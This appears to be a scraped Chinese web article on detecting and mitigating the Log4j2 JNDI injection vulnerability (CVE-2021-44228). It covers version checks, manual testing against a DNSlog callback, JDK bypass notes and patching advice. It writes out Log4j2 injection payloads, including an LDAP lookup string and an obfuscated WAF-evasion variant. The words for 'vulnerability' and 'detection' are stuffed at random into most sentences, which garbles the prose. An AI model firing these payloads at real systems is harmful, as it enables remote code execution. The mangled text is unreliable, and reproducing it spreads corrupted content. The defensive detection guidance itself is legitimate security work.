当前位置:首页 > 综合 > log4j2 漏洞检测 正文

log4j2 漏洞检测

来源:烟消火灭网   作者:焦点   时间:2026-10-17 05:54:24

2021年12月9日深夜,漏洞很多运维群突然炸了。检测有人丢出一段日志:${ jndi:ldap://xxx.dnslog.cn/a},漏洞后面跟一句“赶紧查log4j2版本”。检测当时大部分人还在睡,漏洞少数爬起来的检测人已经意识到,这行看起来像乱码的漏洞字符串,能把一台Java服务器直接变成攻击者的检测肉鸡。

Log4j2是漏洞Apache下的Java日志组件,几乎所有Java生态里的检测中间件、框架、漏洞业务系统都会间接或直接引用它。检测漏洞编号CVE-2021-44228,漏洞评分10.0。检测触发条件简单到离谱——只要你的漏洞应用用log4j2记录了一条包含${ jndi:...}的字符串,比如用户提交的用户名、HTTP头里的User-Agent、甚至聊天消息,它就会去加载远程的LDAP或RMI地址,执行任意代码。

检测这件事,第一步不是扫漏洞,是确认版本。打开你的项目,在pom.xml里搜log4j-core。如果版本在2.0-beta9到2.14.1之间,中招。但别高兴太早,很多项目依赖传递,你直接引的可能是log4j-api,真正危险的是log4j-core。用mvn dependency:tree | grep log4j看一眼,比翻pom快。

没有源码怎么办?打进jar包里的META-INF/MANIFEST.MF或者pom.properties会写版本。更直接的办法:unzip -p your.jar META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties。如果连jar都拿不到,那就上扫描器。但别迷信扫描器——我见过某商业扫描器把2.15.0-rc1报成安全,实际上那个rc版本仍有绕过。

手工验证最可靠。找一台测试机,启动你的应用,构造一个请求,让日志打印${ jndi:ldap://你的dnslog地址/test}。如果dnslog平台收到解析记录,说明漏洞存在。注意,很多WAF会拦这个字符串,所以测试时要绕编码,比如${ ${ lower:j}ndi:...}。但别在生产环境试,除非你想被安全团队追着骂。

检测完版本,还得看实际利用条件。JDK版本很关键。JDK 6u211、7u201、8u191及以上,默认关闭了LDAP远程codebase加载,但攻击者可以换用本地classpath里的利用链,或者打RMI。所以“JDK高版本就安全”是错觉。我见过一个内网系统,JDK 8u202,照样被打穿,因为攻击者用了Tomcat的BeanFactory绕过。

另一个容易漏的点:log4j2的lookup功能在2.15.0里默认禁用了JNDI,但2.15.0本身有DoS漏洞。2.16.0才彻底移除消息查找。2.17.0修了新的RCE。所以看到2.15.0别松气,直接升2.17.1或更高。如果升不了,临时缓解方案:设置log4j2.formatMsgNoLookups=true,或者删掉JndiLookup.class。后者用zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class,简单粗暴。

扫描内网时,别只盯着HTTP服务。很多MQ、Redis、Elasticsearch的日志也会记录用户输入。我见过一个案例,攻击者往Kafka发一条消息,消费者用log4j2打印消息内容,整个消费组全中。还有用Log4j2的RoutingAppender动态路由,攻击者控制路由键就能触发。

最后说个真实观察:漏洞爆发后三个月,仍有超过30%的Java应用没升级。不是不想升,是依赖冲突、测试成本、遗留系统没人敢动。所以检测不是一次性的,得放进CI流水线。每次构建时跑一遍dependency-check或者log4j-detector,比事后救火强。那个深夜丢日志的人,后来在群里说了一句:“别光看版本,看实际调用链。”这话到现在都不过时。

标签:

责任编辑:探索